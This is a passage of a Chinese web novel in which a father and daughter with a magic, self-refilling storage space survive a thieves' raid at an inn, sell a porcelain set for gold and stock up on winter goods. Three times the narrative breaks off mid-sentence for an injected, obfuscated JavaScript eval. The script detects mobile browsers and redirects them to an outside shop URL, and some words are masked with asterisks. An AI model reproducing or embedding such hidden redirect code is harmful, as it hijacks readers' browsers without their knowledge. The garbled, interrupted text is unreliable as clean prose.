想到之前她把宁妈包的饺子给拿出去吃了,赵宁宁冲去冰柜前面,打开一看。 果然!冰箱里只有三袋是宁妈自己包的饺子,之前拿走了两袋,按说只剩下一袋的,现在又出现了! “难道……这个空间里的东西会自动刷新?”赵宁宁想到这里,整个人的眼神都亮了。 煮好饺子,她端着两个盘子回空间,递给宁爸一盘之后,赵宁宁低声说:“爸,我那个厨房跟聚宝盆一样,东西拿走了会自动复原。” “前几天拿了六罐可乐出去,剩下两罐我不是放回去了吗?刚才我一看,又变成六瓶了。” “这么厉害?!”宁爸端着饺子,一边往嘴里送,囫囵吞下去之后,他说:“那咱们是不是不用买那么多粮食了?” 赵宁宁点头,“橱柜之前还剩一些没吃完的,加上家里现在囤的,日常吃绝对够。” 这还不算储物间囤的那些呢,如果储物间的能像可乐那样刷新,那家里吃喝一切都不用发愁了! 父女两人围在车厢里,把两盘饺子吃下,宁爸摸着有些撑涨的肚子,感叹道:“果然,还是要吃些软和的,带你出来真是明智的选择。” 其实宁妈也有空间,但她的空间没法进人,为了最大程度保证自家人的安全,还是留她在家了。 赵宁宁把盘子收起来,让宁爸稍等一会,她回空间,直接拆开两罐可乐倒入奶锅里,又加了几片姜进去,架在燃气灶上让它慢慢煮。 可乐被烧开,沸腾的水汽带走它的二氧化碳,姜味慢慢渗出,滚了一会儿,赵宁宁转小火。 拉开放碗筷的抽屉,从拉篮上拿出两个杯子,赵宁宁把煮好的可乐姜水分别倒进两个杯子,端着出了空间。 宁爸捧着杯子,在车厢里不好大声说话,一个劲儿地朝赵宁宁伸大拇指,赞赵宁宁贴心。 喝完热可乐,宁爸撵赵宁宁回空间,不让她在车厢里停留,虽说车厢有被子和手炉,那也是在室外,赵宁宁用不着放着恒温空间不去睡,在这儿陪他遭罪。 回去睡觉之前,赵宁宁回空间,用小灰桶给宁爸装了一小桶木炭,让他自个儿半夜添着用。 回去空间,赵宁宁感叹:还是回家好啊! 时间还早,她先脱掉厚重的棉袄,把洗手台的灯打开,拧开水龙头,用热水沾湿抹布,拧干后把玄关处的地板给擦了两遍。 等地板晾干的时候,她去洗漱一番。 晾干之后,她才去拿自己的被子,一层旧被子铺底,上面铺上今年新做的棉花被,赵宁宁伏上去。 太舒服了。 她把灯关上,本来以为在空间会睡不着,没想到几个呼吸之间,她便沉沉睡过去了。 第二天,没等宁爸醒过来,赵宁宁便醒了,她先把被子收起来一半,去洗手台洗了手,到厨房先去看冰箱里的可乐。 果然,昨天喝掉的两罐可乐又恢复了! 赵宁宁美滋滋地去给电锅加水,打开冰柜,选了之前网购的粤式叉烧包和奶黄包出来,想了想,她又热了一个粽子和鸡蛋。 定好时间后,赵宁宁回到洗手台,一边洗漱,一边留意外面的动静。 擦脸的时候,空间外传出喊人的声音,赵宁宁忙把毛巾放下,往空间外看,宁爸已经醒了。 她给宁爸准备了热水端出去,宁爸洗过,用热毛巾擦了擦脸和手,把盆子还给赵宁宁。 刷牙只能去外面,宁爸为了不让人看出破绽,拿着古代版的木牙刷去外面,走远了一些,才用水囊的灌进去的温水刷了牙。 商队的人已经开始吃早饭,宁爸回到车上,赵宁宁让他等着,闪身回空间,锅里蒸的包子粽子已经好了,外面不太方便剥粽子皮,她在空间里剥好,连同鸡蛋和包子一起端出去。 两父女躲在车厢吃了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229747|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,吃完之后宁爸还问赵宁宁要来一张纸擦嘴,又喝了几口水囊里的水压嘴里的味道。 早饭吃过后,车队继续上路,就这样走了三天,车队路过一个镇子补充粮草的时候,赵宁宁和宁爸才从车上下来。 晚饭和过夜要停留在这个镇子,在客栈开好房间后,宁爸见到街上还有摆摊卖吃食的,过路看了一会,买了十个大包子拿着,转头带回客栈让赵宁宁放好。 外面天冷,客栈里燃着火盆,他们两个直接在客栈吃了两碗面,回去宁爸又啃包子,跟赵宁宁说不知道为什么,入冬之后每天都很饿,可能是身体本能,到囤冬膘的时候了。 赵宁宁也觉得自己最近饭量大了起来,反正空间能刷新,她带着宁爸敞开了吃。 为了安全,客栈只开了一间房,上楼之后,宁爸坐下,喊赵宁宁捡垃圾。 他自己则是点开面板,端着虚拟钓竿,在今天刷新出来的客栈钓点老神在在地钓“鱼”。 赵宁宁召出自己的面板,点开搜索,神奇地发现,地点竟然刷新了! 除了自家楼栋以外,旁边的1号楼名字也亮了。 赵宁宁屏住呼吸,点击搜索。 冷却读秒结束,买眼前弹出系统提示。 【系统:探索完毕!捡到垃圾一袋,是否现在打开?是/否】 赵宁宁选择是,客栈房间里直接弹出来一大包垃圾。 按照老规矩,赵宁宁回房间拿出口罩戴好,小心打开垃圾,里面没有异味。 她探头看过去,里面竟然是一整张爬爬垫、几个泡沫的拼图垫子,还有一辆婴儿车。 爬爬垫和拼图地垫半新不旧的,稍微有些落灰,但不影响使用。 宁爸坐在床边移动不了,看赵宁宁在一边蹦,忍不住问道:“捡到什么了?这么乐呵。” “呐!”赵宁宁把爬爬垫露出来,“爬爬垫!” 这东西可以隔绝温度,刚好可以铺在车厢里。 “这真是好东西!”宁爸腾不出手,只能冲宁宁点头,“真不愧是宁宁!” “这是我在新的垃圾刷新点搜索到的。”赵宁宁给宁爸展示过之后,叠吧叠吧丢回空间,等会回去可以擦洗晾起来。 赵宁宁想着,等回家的时候可以单独租一辆马车,这样在马车里活动空间就算大一些,也不会那么冷了。 宁爸问:“怎么有新的刷新点了?之前不是只有自己家那栋楼的吗?” “这你可问到我了,我也不知道。”赵宁宁摊手,“可能是跟我们出门有关系?” 最近的变数只有这个,十有**就是因为出门。 宁爸点头,这时,他手里的鱼竿颤动起来,虚拟鱼竿的尽头,连着虚空的鱼线四周出现波纹,宁爸顺势往上一甩。 【系统:钓到“沾血的**”一把,是否现在拿取?是/否】 怎么是**?还是沾血的?!宁爸盯着眼前的系统面板愣了好一会,还是女儿在一旁问,他才回过神。 点击拿取,地上白光闪过,一把约莫有二十厘米长的**出现在两人眼前。 **上沾着点点血痕,宁爸让赵宁宁回去拿点纸出来,把血迹清理干净,让赵宁宁把它摆到门口鞋架上。 “怎么会钓到这个?”赵宁宁搓搓胳膊,她刚刚在空间放好**之后,还回去洗了洗手。 “这个客栈不**全。” 宁爸说着,起来检查了一遍门窗,想了想,又让赵宁宁帮忙,把客栈里的桌子给搬到门后边。 这样半夜要是有个什么动静,也能有东西挡一下。 窗户没有遮挡,宁爸想了想,把五斗柜搬过去,又把茶盏放在五斗柜的边缘,这样万一有人打开窗户,内开的窗户便会撞倒茶盏。 做完这些,宁爸让赵宁宁回空间。 赵宁宁担忧,问宁爸要不要她留在外面陪他一起,被宁爸拒绝了。 如果有动静,躲在空间里的赵宁宁还能帮他一下,实在不行他一个人还能跑路。 如果两人都在外面,万一遇到歹人他无暇顾及,会比一个人在外面还要危险。 赵宁宁忧心忡忡地回空间去睡了。她有个坏毛病,心里藏事的时候睡不稳。 果然,夜半时分,房间里传来了动静。 第23章 府城 赵宁宁正在空间翻腾着睡不着时,空间外的房间里,窗户被人打开了一条缝。 打开的窗户扫到五斗柜上摆着的茶盏,茶盏掉在地上,啪地一下,赵宁宁直接从被窝里坐起来了。 客栈里黑漆漆地,只有火盆四周有些光亮,赵宁宁仔细分辨,窗户外的人吓了一跳,低声咒骂之后,不敢再推窗。 外面,不知道为什么这么大的动静还没把宁爸吵醒,赵宁宁确认房间没有进人之后,披着衣服闪身出了空间。 伏在床边,她轻轻摇晃宁爸的肩膀,见他没有反应,仍旧在沉睡,赵宁宁便知道事情不对。 房间里应该是被下了**。 还好宁爸坚持没让她睡在外面,否则今天晚上他们俩都要遭殃。 赵宁宁环视一周,当机立断地把透气用的后窗打开,从房间的火盆里挑出一根柴火,顺着后窗往外丢了出去。 如果没记错的话,后面是客栈堆放柴火的房间,赵宁宁抛的时候尽可能往外,怕一根柴火不够,她又丢出去几根,陆续把柴火都给丢了出去。 房间大门的门闩传出动静,赵宁宁心下一凛,看了一眼桌子把门闩给顶得死死的,这才松了一口气。 外面的人进不来,气急败坏地去找下一家,赵宁宁悄声走到门口,把耳朵贴在上面,听到走廊一阵对话声音传来。 “银子……” “……太少” “穷鬼……” “……天杀的……白费力气……” 通过他们的对话,赵宁宁简单推断:这应该是一伙偷钱的贼人。 第一个人没打开房门,不一会,又有人过来,发现打不开之后,气急败坏地摇晃大门。 赵宁宁不敢呼吸,站在床头,贼人在外面摇门,她在房间摇晃宁爸。 或许是力道具有破坏力,本来被顶得死死的门闩竟然有松动的迹象,赵宁宁吓了一跳,忙过去用手扶着。 门外的贼人不死心,继续大力撞着,正当赵宁宁焦急万分的时候,后窗外传来一阵白烟。 着火了。 她刚刚丢下去的柴火,把外面的房子给引燃了! 客栈着火,住在一楼通铺的人全醒了,整个客栈顿时燃起火烛,热闹起来。 客栈小二提着灯笼到二楼喊人,被几扇大开的房门吓得魂儿都飞了,走进去看里面的人还活着,这才勉强收回半条魂,屁滚尿流地下楼喊掌柜去了。 又是一阵慌乱,掌柜一边喊人救火,一边到二楼这边查看客人。 好在客人性命无虞,只是昏迷,掌柜让小二在二楼守着,自己下楼焦头烂额地去主持救火。 半个时辰之后,宁爸悠悠转醒,看房间里的火盆前面,赵宁宁正蹲着烤火,不禁吓了一跳。 “宁宁?” “你醒了?”赵宁宁用棍子扒拉扒拉火盆,从里面夹出来一个红薯,淡定地说:“刚刚有贼人过来,把你迷晕了,我急中生智,把柴火顺着后窗丢出去,引燃了客栈后面的柴房。” “动静闹大,贼人这才走了。” 听完,宁爸一阵后怕,攥着拳,他气道:“在路上倒是平平安安的,没想到一住客栈就遇见了这种事!” 红薯放得不烫手了,赵宁宁拿起来,掰开一半塞到宁爸手里,“爸,你吃点甜的。” 两人吃完,心情逐渐变得平静,宁爸让赵宁宁回空间去睡觉,他在房间里翻腾,一会起来看看窗户,一会起来看看门,竟是一整夜没睡着。 第二天下楼的时候,客栈有不少人都骂骂咧咧的。 尤其是那一家三口。 他们只穿了中衣下楼,连厚点的衣服都没有。掌柜的看小孩冻得哆哆嗦嗦的,可怜极了,给他拿了一张旧棉被,让大人给他裹着。 吃早饭的时候宁爸在旁边听了一耳朵,他们三个睡在一个房间,前半夜也是无事,后半夜房间被贼人摸进去,估计是贼人是没找到钱,愤而把他们的衣服都给偷走了。 毕竟那是绸缎做的,拿到当铺里还能当个一二两银子呢。 倒是两个爷孙,看上去十分平静。 赵宁宁一边喝着稀粥,一边偷偷去瞟最后加入商队的那对爷孙,越看越觉得那个老爷爷有点眼熟,端详片刻,她想起来了。 这个老爷爷是在丰宁县石桥镇上,卖箩筐的那个! 他编的箩筐结实耐用,后面不摆摊之后,宁妈还去买过几个放家里装东西用,这对爷孙在石桥镇呆得好好的,怎么会去府城? “爹。”赵宁宁放下碗,悄声对宁爸说:“那边的老爷爷,是石桥镇上的。” 他们来赶车的时候大包小包鸡零狗碎的,东西多到差点塞不进商队给他们准备的空位。 看上去可不像是普通去探亲,倒像是……搬家。 都是一个镇上的,宁爸放下碗,等那两人吃完早饭,喊店家给上了一壶茶,拎着茶碗和茶壶坐过去。 “老爷子,我看你们有几分眼熟,你们是不是石桥镇来的?”宁爸明知故问,对方倒是仔细打量了宁爸一番,看到他旁边乖巧地跟着一个小孩,老爷子认出来,这是一个老主顾的女儿。 “你们……是啊,真是有缘分。”老爷子朝宁爸拱手。 宁爸忙拎着茶壶给他倒上粗茶,攀谈起来。 两人先是闲扯一会昨夜的动静,随即,宁爸打探他俩的动向。 老爷子也没瞒着,说他们是去府城投奔亲戚。 他们家在石桥镇只剩下爷孙俩,年轻时,老爷子的亲妹子嫁到了县城,后面夫家生意越做越大,最后举家搬到岭北府去了。 年轻时候老爷子还能走动走动,近些年年景不好,儿子和儿媳去外打拼杳无音讯,老婆子哭得眼睛都瞎了,后面郁郁而终。 本来他只想待在石桥镇守着微薄的家产和小孙子,哪知有两年没联系的亲妹子听到南边的小道消息,使人递信过来,说南边闹鼠灾很严重,不放心,花银子让他们去府城投奔。 老爷子万般不舍的祖业,本不想去,听说鼠灾严重到夜里一不注意,好些个大人小孩都被老鼠啃了肉去。他想了又想,他们家里只剩这个独苗,若是鼠灾蔓延到丰宁县,他一个老头子,能护得住孙子吗? 为了孙子,他咬牙变卖家产,把能带的都带上,这才过去。 宁爸一边听,一边跟着老爷子感叹世事无常。 赵宁宁坐在长凳边上抱着碗,听得心中警铃大作,鼠灾?搞不好可是会闹鼠疫的! 宁爸装作担忧的模样,问了闹灾的时间和地方,道谢之后,又和老爷子闲聊了一会,壶中水喝尽了,这才带着宁宁往角落里坐。 赵宁宁压低声音严肃地跟宁爸说:“这次到府城,得多买点东西回家。” 又大雪又闹鼠灾的,这个大周朝,还让不让老百姓活了!? 赵宁宁盘算着空间还能拿出什么东西出来卖,她想到:既然可乐和饺子都能恢复到原来的数量,是不是这套瓷具也可以? 等到了府城,把瓷具卖掉就能知道了。 客栈闹哄哄了一早上,过了饭点,掌柜还不见有几间屋子的住客出来,派小二去拍了几次门都没反应,他强撑着命人把门踢开,一进去,掌柜双腿发软,直接跪在地上。 门内血红一片,显然是出了人命。 客栈**三个人。 因为这件事,商队的人被留在客栈,等衙门仵作过来查验对方的死因和死亡时间,推断出这个时间商队还未到客栈,商队才被放行。 出发的时候已是下午,商队领头的人直呼晦气,出城之前特意买了个火盆,让大家都跨过去去去晦气,这才继续朝府城前行。 原本今天早上出发,晚上可以到另一个镇子落脚,今天迟这么久才出发,晚上只能住在外头。 天寒地冻的,商队的人一整个下午都骂骂咧咧的。 好在后面没出什么事,第五天下午,一行人终于抵达岭北府。 告别商队之后,宁爸带着赵宁宁打听着客栈,先找了个落脚地好好歇着,赵宁宁不用担心过夜的安全,回到空间直接睡到第二天天大亮。 为了掩人耳目,赵宁宁给自己扎了一个丸子头,她年纪小,又穿着男装,乍一看还真分不出是男是女。 想了想,她还给自己额前的碎刘海全都给梳了下来,微微挡住一部分眉眼。 父“子”俩去府城的早市摊子上吃过早饭,宁爸开始闲侃胡扯,从摊主那得到中人的信息,带着赵宁宁一路过去,在府城短租了一个巷中央的僻静小院。 左边人家是一对年迈的老夫妇,右边那户是空置的库房。 出院门,正对着的是一户大人家的院墙,这条巷子有好几个出口穿插,很适合赵宁宁他们囤了东西之后悄悄转移。 付过定金后,宁爸记住位置,带宁宁回客栈退房。 把放在明面上的行李拿回租的房子,宁爸才让宁宁拿出那套瓷具。 赵宁宁想跟着他一起去当铺,宁爸没准许,揣着瓷具去府城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229748|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的茶馆转悠。 直接送进当铺是下下之选,宁爸带着瓷具去了府城最好的茶楼,也不要包间,就坐在大厅,要了一壶好茶,一边喝一边长吁短叹。 他坐在边上,手里把玩着精致的瓷杯,过路的人起先没注意到他,直到一个小二来回走了几趟,忽然瞥见他手中的瓷杯成色不俗,忍不住停下脚步,赞道:“这位客官,你手里的瓷杯颜色可真是不错!” “那又如何……哎……只可惜,这杯子放在我手里,算是浪费了。”宁爸放下杯子,转手又拿起瓷壶,不经意地对准窗边的光。 迎着光线,小二看到那本就薄如宣纸一般的瓷壶上,竟有几处透着光。 ——不对,眼花了吗? 小二揉揉眼,惊讶道:“客官,您手上的瓷壶……” “哦。”宁爸把瓷壶放在桌上,“你说这个?这是我家里祖传的瓷具,只此一套,说是我祖宗从南边搜罗过来的。” 至于哪个南边,你别管,宁爸自有一套说辞。 想起那一闪而逝的光,小二斗起胆子问:“刚刚我见您举着瓷壶时,似有光芒闪过。” “这个呀?不是我夸,这么多年,我从没见过第二套类似的壶,这壶可是镂空雕花而不漏水的!”宁爸把瓷杯举起来,让小二就着自己的手,对光看了个清晰。 四周的人早在小二和宁爸对话的时候便悄悄注意起这边的动静,听说从没见过第二套,憋不住好奇的几人直接起身,围了过来,恰好看到光透过瓷杯。 宁爸怕他们不信,把壶中的好茶给倒出一杯,举着装满茶水的杯子,对着围观的一圈人巡了一遍。 这下,茶馆顿时热闹起来。 怕人多把瓷具碰碎,宁爸今天出来只带了两个杯子和一个小茶壶,这会人多,他忙给小心收起来,桌上的茶也不喝了,嘟嚷着便要走。 几个好茶的茶客忙拦住他,好声好气地哄宁爸坐下,喊小二带着上二楼雅间,沏上壶顶好的绿梅茶。 到了雅间,那几人把宁爸请到上座,宁爸也不客气,坐下后把被子和茶壶摆在桌子中央,只准几人看,不准他们碰。 这五六个老茶客倒也不生气,围着桌子啧啧称奇。 等绿梅茶呈上来,他们让宁爸动手倒上一杯,细细观赏。 莹润细腻的瓷杯上,镂空雕刻的牡丹花样及其精细,透过杯壁上的镂空,可以直接看见里面的茶叶在打转。 这样一套茶具,光是摆在家里都十分长面子。 老茶客啧啧称奇,深知这瓷具贵重,一个都不敢上手去摸。 最后,还一众老茶客里面,最为年轻的一个中年男子开口。 “不知大哥可否割爱?” 宁爸等的就是这条大鱼上钩,他长吁短叹一会,说:“我也想……只是这是我祖传下来的,保留最好,最稀奇的一套物件了。” “我爹临走之前,嘱咐我要把它当传家宝给传下去,哎,只可惜我儿子们比我还能败家,偌大的产业,最后败得只剩下一些不值钱的玩意儿了。” 中年男子本以为携带这套茶具的人只是拿出来显摆,听到这里,复又燃起心头的希望,忙说:“不瞒您说,我祖母下月便要八十大寿,我正发愁送她什么,平日里那些金银俗物,她不爱看,珠宝首饰,她已经有好几大箱子了。” 他们家家族庞大,到他这一辈,都有二十好几个同辈,下一辈更是多达百个。家族大,又和睦,家里有产业的送银子送地,产业薄的尽孝心,祖母什么都不缺。 今年是祖母的八十整寿,家里要给她大办,所以这个中年茶客苦思冥想好几个月,迟迟都未定下今年送的寿礼。 一个茶壶连着两个茶杯当寿礼略显寒酸,但胜在稀奇,男人想着,若能买下,再添点别的一起送过去,这寿礼便也算过得去。 “您这瓷具咱们岭北府从未有过,故而鲍某厚颜问一句,能否割爱。” 宁爸点头,“确实,这套瓷具不是我吹,拿到京城都是独一份的。” “只是这瓷具不仅仅有这套茶壶杯子,还有碗碟,你要要的话,可不是小数目。”宁爸叹气,“这破天气太冷了,要是能有个合适的价格,我换点银子,给家里买处大宅子,留下这点产业,便也算对得起我的儿孙了。” 府城的宅子,外围便宜一些也要八百多两,宁爸说的还是“大宅子”,这要价肯定不低。 中年男人思考片刻,请宁爸借一步说话。 第24章 卖掉瓷具,囤货! 两人互通了姓名,宁爸让他在茶楼稍作等待,抱着茶壶和茶杯往家里赶。 匆匆到家之后,宁爸问宁宁要来整整一套餐具,里面碗碟百余个,小心带去茶楼,此刻包间只剩中年男人和一个管家。 他把盘子从锦盒里挨个拿出,鱼盘、平盘、深盘、浅盘、汤碗、面碗、饭碗、汤勺、小勺、骨碟、筷架……细细数过去,光这些便有一百零八个。 宁爸又把一整套茶具摆出来,鲍兴贤呼吸一窒:刚刚在茶馆里看到的那一只茶壶和两只瓷杯,竟然只是管中窥豹。 茶具一整套又是十八件,两个数字都带着“八”,这世间不能有更巧的事。 茶楼雅间,桌上满摆着餐具,茶具放不下,还是管家把古琴搬到一边,宁爸才有地儿摆。 置身于这一整套瓷具里,鲍兴贤看得眼睛都直了。 怪不得布空军大哥说他们家这套是祖传,要当传家宝,怪不得他说要大宅子! 这一套瓷具,拿到京城都不一定能轮得到他买。 “布兄。”鲍兴贤朝宁爸抱拳行礼,今日肯让人拿出如此惊世的家传,他都有些愧对对方。 “哎哎!”宁爸扶住对方,两人到一边坐下,管家退出房门外,替主子把着门。 商谈了一整个下午,鲍兴贤命管家回去拿银票,宁爸找借口直接要管家兑换成金子过来。 管家领命而去,雅间内,只剩下两人的时候鲍兴贤仍在感叹自己走运,只是逛街累了在这个茶楼歇脚,没想到能遇见这等稀有的瓷器。 半个时辰不到,领命而归的管家将金锭子带来,在茶楼离宁爸点清金子,当场用装茶壶的锦盒装了金子,鲍兴贤则是让下人把餐具和茶具仔细收好。 “布兄,若是得空,请你务必来鲍府来做客。”鲍兴贤一张国字脸激动得微微发红,“祖母如今在京城颐养天年,我过几日便要带着这套瓷具赶往京城去贺寿,等我回来,你一定要来我府上做客!” “行,有缘自会相会!” “不空军”兄伸手,拍了拍鲍兴贤的肩膀,两人起身向楼下走去,在茶楼门外分开时,宁爸抬头看了一眼天色,已是接近黄昏。 抱着一盒金子,宁爸低头,沿着大路朝反方向走了数十步,忽然一扭身,钻进府城热闹的东市一条街。 快步在巷子里跑了几步,宁爸看到一家客栈二楼,正对着巷子的窗户微微开着,从里面垂出来两把晒干的豆角,宁爸脚步一转,从客栈后门进去。 轻松摸到客栈二楼的房间,宁爸喊了喊门,里面等待多时的赵宁宁把门打开,他闪进去。 两人没说话,宁爸把银子递给赵宁宁,赵宁宁放进空间,从空间利索拿出事先准备好的假胡子,宁爸接过来粘上,又把一身衣服换掉,换成破烂带补丁的衣服,最后将发髻扯出几缕散碎的头发。 戴上一顶破旧的鼠皮帽子,宁爸佝偻着腰,整个人瞬间像是老了二十岁一般,赵宁宁把拐杖递到他手里,宁爸一手抓住拐杖,一手抬起胳膊,让赵宁宁扶着他的胳膊肘,两人从客栈正门从容地离开。 客栈人来人往,外面正对着是热闹的东市,两人顺着傍晚的人流,慢慢地往住处走。 回到租的小院里,宁爸把门锁好,带赵宁宁回屋。 几番确认安全之后,赵宁宁才激动地把盒子从空间掏出来。 打开一看,金灿灿几乎闪瞎赵宁宁的眼,整整一大盒,全是金子! 宁爸比了一个耶,然后又伸出两个拳头。 赵宁宁知道了,这里面装的是两百两金子。 兑换成银子,差不多有两千两银子左右。 发财了!发大财了!这套瓷具买的时候都没超过一万块,转手在古代卖掉,直接翻了一千倍! “明天后天买东西,咱们大后天就走。”宁爸说:“在府城买些紧俏的,剩下的路上有机会了再买。” 这么大一笔银子,他出茶楼的那一瞬就被有心人给盯上了,好在他和宁宁提前有准备,这才甩掉跟踪的人。 府城不能久留。 第二天,宁爸换上一身长袍,在头上戴上个貂皮帽子,毛茸茸的帽檐挡住他的额头,他又在脖子围了一个毛领子,这下除了身形,不熟悉他的人要贴着脸才能认出来。 穿上这身行头,宁爸整个人都快要冒汗了,想到这两天时间紧任务重,宁爸抹了抹额头的汗,“走!” 赵宁宁依照宁爸那样子,把自己也给裹起来,父女俩一前一后上街,赵宁宁沉下心按照昨晚商量过要买的东西,一家一家地去问。 岭北府要比丰宁县更冷一些,猛地一入冬,街上卖过冬物资的店铺比平时还要热闹。 府城最时兴的裘衣,赵宁宁按照一人八套地买,想到在丰宁县时,周家的两个长辈平时没少照顾养腿伤的宁爸,赵宁宁连他们那份也给捎带着买了两套。 回去当做节礼送给他们。 除了大衣,皮袄、皮子做的斗篷、帽子、围脖儿,还有兽皮靴,赵宁宁一人给安排了十双。 见还有皮**做的铺底和盖的,赵宁宁大手一挥,让店小二给包起来。 家里人一人来两套。 皮**贵,光这些直接花去五百两银子。 买完丰宁县最紧俏的皮衣后,赵宁宁和宁爸去医馆,花了五十两银子,买了许多“预制中药”,按照常见生病的药方让大夫给包好写好名字。 除了药包,宁爸花了一百两银子买伤药,金疮药都是用小瓷瓶装起来的,上面贴了红纸,分别写的有用处和用量。 想到南方有鼠灾,赵宁宁让宁爸买了十包驱虫祛鼠的药粉。 怕和其他药弄混,赵宁宁回去之后,特意把电梯厅的鞋柜腾出来一个,把这堆药粉塞进鞋柜里单独存放。 离开医馆之前,宁爸花了一百两银子,买了一支老山参,让宁宁收回空间,回头拿到冰箱里放着。 有御寒的衣物,也有防治风寒的药,采购东西比赵宁宁预想的速度还要快。米面家里囤的有,油买的不多,赵宁宁和宁爸路过府城的油店,见这里还有熬好的猪油卖,直接定了两大罐,铺子里还有菜籽油和豆油,也分别定了两罐,炸年货用。 赵宁宁空间的厨房里还有现代的植物油,如果不够就拿出来凑一凑再用。 古代的盐杂质多,宁爸犹豫了一下,买了一袋放着。来的路上风雪就这般大,再过一段时日,可能会大雪封路,连镇上都去不了,万一空间里的盐不够吃,家里可不能断盐。 粮油盐都有,家里还缺最重要的一样东西——炭。 宁爸可是打听过的,府城有石炭!石炭也就是现代的煤炭,挖出来就能用,燃烧时间长,好存放。 这里的人把石炭当成贵价的炭火来买,普通的一筐木炭卖五百文,一筐石炭卖三两银子,一斤就要六十文! 所以能用得上石炭的人不多。 今天买的东西够多,赵宁宁还要回去收拾一下空间,从街上往回走时,宁爸看到卖酒的走不动道,带着赵宁宁去买了两坛子回去。 冷的话喝点酒也能取暖。 两人回家时还不到下午,赵宁宁回空间厨房煮了馄饨,两人对付着匆匆在院子里吃了一口,下午刚过未时,便有小二来送货,宁爸在门口接待来送货的人,送走一波站在路口把风,赵宁宁则是趁机把东西往空间倒腾。 他们住的房子对着大户人家的后门,两人穿着打扮又不似普通百姓那样都是棉衣,来往的人自然而然把他们当成是这户人家的管家和小丫鬟。 反正东西送到拿了条子就走,也没人追究东西都去哪了,赵宁宁收了御寒的物件,来不及收拾,回院子里到房间倒腾出来,再去外面收其他的。 申时,天色渐晚,买的东西都送齐了,宁爸把大门锁好,带宁宁回房间。 先把最重的几罐油放到厨房,赵宁宁出来,把宁爸买的药包也给放到厨房,尤其是野山参,赵宁宁特意给它找了一个小格子,怕折到它的须,放好后,又仔细地包好放到冰箱里。 外面,衣服被子堆得小山一样高。 皮衣贵,店家怕弄脏,都是用绸布裹着的,这倒给赵宁宁省事儿,她直接拿着皮衣往玄关里塞,反正空间没有权限,她不怕衣服堆得高了会倒。 把东西都塞进空间,赵宁宁原本睡觉的空地被占,她只能把被子挪到厨房,还好厨房地方大。 空间还是太小了! 赵宁宁感叹,什么时候才能升级。 这样一收拾,空间的电梯厅空出来,明天可以多买一些石炭了。 晚饭宁爸没让赵宁宁动手,连吃了两天煮饺子煮馄饨,他晚上带着赵宁宁去街上吃。 第二天。 空出来的地方被宁爸用银子换来的石炭填得满满的。 “好了,咱们明天就回去。”宁爸摸摸帽檐,额 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229749|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头都汗湿了,风一吹凉飕飕的。 “咱们买一些岭北府的特产回去吧?”赵宁宁说:“来都来了。” 没有人能拒绝得了来都来了这几个字,宁爸也不能。算了算银子,还能再造一百两,宁爸便由着赵宁宁来。 府城的糕点花样比丰宁县多了去了,赵宁宁选的时候都有些挑花眼,宁爸干脆让她别费她那小脑瓜,每样都买。 挑着能放的糕点,一样买了二十包,不能放的也没事,她少买一点,冻在冰柜里,吃的时候再热一下。 糕点买完,还有零嘴儿,蜜饯种类繁多,什么杏干桃干蜜枣,赵宁宁直接整摊子端,反正放着又不容易坏,买完甜的,肉脯也买了十斤,赵宁宁看到还有各类糖块,松子糖、梨膏糖、姜汁糖、芝麻糖…… 啥也别说了,一样来半斤,过冬在家没事可以可劲儿地造。 最后买了瓜子松子这种能磕着打发时间的东西,赵宁宁这才收手。 买完这些东西也没花到三十两,宁爸领着宁宁去给宁妈带了一套首饰,给赵启去铁匠铺子买了一套木匠工具,又买了两把斧头。 别说,到铁匠铺子宁爸才想起来自己漏买了铁器。 铁锅大中小各买三个,放在家里慢慢用。 这里不但有铁器,还有铜器,看到这里的铜火盆上还有精致的镂空盖子,底下还有底托,宁爸挥手:买! 给家里人一人备了三个古代版的汤婆子和手炉脚炉,宁爸这才刹住车。 最后,两人还买了三把柴刀、三把菜刀、想到家里如今的铲子还是木铲,宁爸干脆把一整套农具都来了两份。 东西多,宁爸依旧是让人下午送去租的小院子,带着宁宁去给宁宁买东西。 总不能出来一趟只给家里人带礼物,不给宁宁买。 赵宁宁挑来挑去,最后选了香炉,又买了一堆香。 宁爸自己买了钓竿。 钓竿不像现代那样能灵活折叠,他只能求宁宁帮他收着,赵宁宁一边往空间的墙角塞,一边吐槽:现在是冬天,冬天之前都干旱了三年了,现在河里只有雪,他能上哪钓鱼去? 宁爸说:买就是了,肯定有地方能钓到鱼的,至于是哪,你别管。 钓鱼佬见到心爱的钓竿就是要买的。 此行目的已达到,两个人轻松地斗着嘴往小院子里走,下午像昨日那般,等卸完车之后,宁爸守在路口,赵宁宁在巷子里把东西往空间里面收。 